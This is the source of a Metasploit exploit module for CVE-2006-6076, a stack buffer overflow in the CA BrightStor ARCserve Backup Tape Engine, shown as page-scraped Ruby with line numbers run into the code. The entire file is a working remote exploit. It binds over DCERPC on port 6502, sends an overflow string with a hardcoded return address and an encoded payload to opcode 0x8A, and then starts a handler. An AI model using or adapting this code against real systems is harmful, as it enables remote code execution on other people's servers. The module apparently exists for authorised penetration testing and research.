Path: blob/master/modules/exploits/windows/brightstor/tape_engine_0x8a.rb
33397 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::DCERPC910def initialize(info = {})11super(12update_info(13info,14'Name' => 'CA BrightStor ARCserve Tape Engine 0x8A Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup17r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow18the buffer and execute arbitrary code.19},20'Author' => [ 'MC' ],21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2006-6076' ],24[ 'OSVDB', '68330'],25[ 'URL', 'http://www.metasploit.com/users/mc' ],26],27'Privileged' => true,28'DefaultOptions' => {29'EXITFUNC' => 'thread',30},31'Payload' => {32'Space' => 500,33'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",34'StackAdjustment' => -3500,35},36'Platform' => 'win',37'Targets' => [38[ 'BrightStor ARCserve r11.5/Windows 2003', { 'Ret' => 0x28eb6493 } ],39],40'DisclosureDate' => '2010-10-04',41'DefaultTarget' => 0,42'Notes' => {43'Reliability' => UNKNOWN_RELIABILITY,44'Stability' => UNKNOWN_STABILITY,45'SideEffects' => UNKNOWN_SIDE_EFFECTS46}47)48)4950register_options([ Opt::RPORT(6502) ])51end5253def exploit54connect5556handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])57print_status("Binding to #{handle} ...")5859dcerpc_bind(handle)60print_status("Bound to #{handle} ...")6162request = "\x00\x04\x08\x0c\x05\x00\x00\x00\x00\x00"63request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"6465dcerpc.call(0x2B, request)6667sploit = NDR.long(4)68sploit << NDR.string(rand_text_alpha_upper(1002) + [target.ret].pack('V') + payload.encoded + "\x00")6970print_status("Trying target #{target.name}...")7172begin73dcerpc_call(0x8A, sploit)74rescue Rex::Proto::DCERPC::Exceptions::NoResponse75end7677handler78disconnect79end8081end82=begin83/* opcode: 0x8A, address: 0x100707D0 */8485long sub_100707D0 (86[in] handle_t arg_1,87[in] long arg_2,88[in][ref][string] char * arg_389);90=end919293